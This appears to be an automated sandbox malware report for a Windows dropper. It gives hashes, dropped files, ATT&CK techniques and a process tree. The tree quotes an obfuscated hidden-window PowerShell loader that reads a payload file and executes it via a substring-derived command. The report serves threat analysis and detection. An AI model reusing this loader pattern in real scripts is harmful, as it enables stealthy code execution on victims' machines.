32b3f3b17100cf0c711e1e2267fc9ec4f71b0214b3013fe4d5fe2617dea779dd

General

Target

32b3f3b17100cf0c711e1e2267fc9ec4f71b0214b3013fe4d5fe2617dea779dd.exe
Size

488KB
MD5

d513d4e9e8d5d3c5cce1d9b9772d9ff6
SHA1

3b6cfeb30beb56c964c32353502ab0d9aaed1903
SHA256

32b3f3b17100cf0c711e1e2267fc9ec4f71b0214b3013fe4d5fe2617dea779dd
SHA512

121090f9b92ec8239216d51dd74c404f2ed8ddb2d696628ec6a021c01b9d63527a8621111aeacfaa38634b9f393335e11b9128f1a4593c5d93cf0271880eef52
SSDEEP

12288:iqgowimskzTvnzpiSVF8ZDJ60cOJYULLkV:+im17nzpiSDms0c9sE

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3436	powershell.exe

Loads dropped DLL 3 IoCs

pid	Process
1596	32b3f3b17100cf0c711e1e2267fc9ec4f71b0214b3013fe4d5fe2617dea779dd.exe
1596	32b3f3b17100cf0c711e1e2267fc9ec4f71b0214b3013fe4d5fe2617dea779dd.exe
1596	32b3f3b17100cf0c711e1e2267fc9ec4f71b0214b3013fe4d5fe2617dea779dd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\energetiskes\Physicianer223.lnk	32b3f3b17100cf0c711e1e2267fc9ec4f71b0214b3013fe4d5fe2617dea779dd.exe

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Common Files\eduard.lyz	32b3f3b17100cf0c711e1e2267fc9ec4f71b0214b3013fe4d5fe2617dea779dd.exe
File opened for modification	C:\Program Files (x86)\Common Files\yeastless.Rus	32b3f3b17100cf0c711e1e2267fc9ec4f71b0214b3013fe4d5fe2617dea779dd.exe
File opened for modification	C:\Program Files (x86)\Common Files\Marrowless\Mutated.ini	32b3f3b17100cf0c711e1e2267fc9ec4f71b0214b3013fe4d5fe2617dea779dd.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\schematizers.roa	32b3f3b17100cf0c711e1e2267fc9ec4f71b0214b3013fe4d5fe2617dea779dd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4732	3436	WerFault.exe	85

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3436	powershell.exe
3436	powershell.exe
3436	powershell.exe
3436	powershell.exe
3436	powershell.exe
3436	powershell.exe
3436	powershell.exe
3436	powershell.exe
3436	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3436	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1596 wrote to memory of 3436	1596	32b3f3b17100cf0c711e1e2267fc9ec4f71b0214b3013fe4d5fe2617dea779dd.exe	85
PID 1596 wrote to memory of 3436	1596	32b3f3b17100cf0c711e1e2267fc9ec4f71b0214b3013fe4d5fe2617dea779dd.exe	85
PID 1596 wrote to memory of 3436	1596	32b3f3b17100cf0c711e1e2267fc9ec4f71b0214b3013fe4d5fe2617dea779dd.exe	85

C:\Users\Admin\AppData\Local\Temp\32b3f3b17100cf0c711e1e2267fc9ec4f71b0214b3013fe4d5fe2617dea779dd.exe
"C:\Users\Admin\AppData\Local\Temp\32b3f3b17100cf0c711e1e2267fc9ec4f71b0214b3013fe4d5fe2617dea779dd.exe"
1⤵
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:1596
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$afstikke=Get-Content 'C:\Users\Admin\AppData\Local\Temp\overmandede\Metran\menubilledet\Taternes\Unionisms.met';$Bedugget123=$afstikke.SubString(8490,3);.$Bedugget123($afstikke)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3436
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3436 -s 2776
    3⤵
    - Program crash
    PID:4732

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3436 -ip 3436
1⤵
PID:4108

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v4cuxrua.ajv.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsf3B54.tmp\Banner.dll

Filesize
4KB

MD5
843657eaf7240b695624dcf38bb0eb31

SHA1
ca99a44e737fdeaab56f864ce1ef15a57d2eec90

SHA256
b935d14c32ad8e16055f7f5794ac3411e601c5ac93155afc623f25b08e2ab82e

SHA512
7773d9f6bbd17253d1c96ce225b2f9d3673969b38177afef236d1c5d4aabaae2c07793e07c34f0281ec3b859ae955e83bfe43a598ce7cc6c893ec8c9604f5de3

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsf3B54.tmp\BgImage.dll

Filesize
7KB

MD5
a98576f0d6b35b466cb881860977fdbc

SHA1
28b3dbbd76f15c876b98dce523100aa3256d193a

SHA256
6cc4aadae46ee3e7f39b411ba087ec29bc10aa62b6b5b44003c934b3c51cefe2

SHA512
29225bfb30e72d7d3d3571e7562b5901dbf2382af1972cc9a2be8e3bef697b9ac9e0aaac3a9bca191da827ad3cfce7f6876e8be9444663e83a7e2e86788a733c

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsf3B54.tmp\nsDialogs.dll

Filesize
9KB

MD5
2c84faebfda2abe3b16fdf374df4272f

SHA1
a5b0258a94e0440aefe1ef320e62e7a9a1c8bb40

SHA256
72b38e4cca0af336655d55501c4ea05080baaa9921a62a2d717afe90bb801004

SHA512
207164cc6914c59d9f4f3b8ae97628c544093ba6ecda9f8da351f453cd97e03be7a640264b8686b2d5e6f3c787f4df1d8a1ebc8e51fd788a97460cd981cc015e

Download Submit
C:\Users\Admin\AppData\Local\Temp\overmandede\Metran\menubilledet\Taternes\Unionisms.met

Filesize
70KB

MD5
7e0cf6392341c7fa64704f1a19fd90fd

SHA1
fd81be021e7daf07dfaddb6a022cf293b812c6ae

SHA256
19979f32d2d9a10e05fe7a5530ef85a2afbf89da3828700a5842252963efead6

SHA512
1624005c377098b754fad30296fff58cc660a84ef34450f08a83f1a87982beaa086747006d547c13a685856904423a779f76efbccbd4091fd01f4c7eb861b31e

Download Submit
memory/3436-32-0x0000000005A60000-0x0000000005AC6000-memory.dmp

Filesize
408KB

Download
memory/3436-45-0x0000000006360000-0x00000000063AC000-memory.dmp

Filesize
304KB

Download
memory/3436-30-0x0000000073B00000-0x00000000742B0000-memory.dmp

Filesize
7.7MB

Download
memory/3436-31-0x00000000052F0000-0x0000000005312000-memory.dmp

Filesize
136KB

Download
memory/3436-33-0x0000000005C40000-0x0000000005CA6000-memory.dmp

Filesize
408KB

Download
memory/3436-29-0x0000000073B00000-0x00000000742B0000-memory.dmp

Filesize
7.7MB

Download
memory/3436-27-0x0000000004CE0000-0x0000000004D16000-memory.dmp

Filesize
216KB

Download
memory/3436-43-0x0000000005CB0000-0x0000000006004000-memory.dmp

Filesize
3.3MB

Download
memory/3436-44-0x00000000062D0000-0x00000000062EE000-memory.dmp

Filesize
120KB

Download
memory/3436-28-0x0000000005430000-0x0000000005A58000-memory.dmp

Filesize
6.2MB

Download
memory/3436-46-0x0000000007290000-0x0000000007326000-memory.dmp

Filesize
600KB

Download
memory/3436-47-0x00000000067E0000-0x00000000067FA000-memory.dmp

Filesize
104KB

Download
memory/3436-48-0x0000000006830000-0x0000000006852000-memory.dmp

Filesize
136KB

Download
memory/3436-49-0x00000000078E0000-0x0000000007E84000-memory.dmp

Filesize
5.6MB

Download
memory/3436-26-0x0000000073B0E000-0x0000000073B0F000-memory.dmp

Filesize
4KB

Download
memory/3436-51-0x0000000008510000-0x0000000008B8A000-memory.dmp

Filesize
6.5MB

Download
memory/3436-53-0x0000000073B00000-0x00000000742B0000-memory.dmp

Filesize
7.7MB

Download

Analysis

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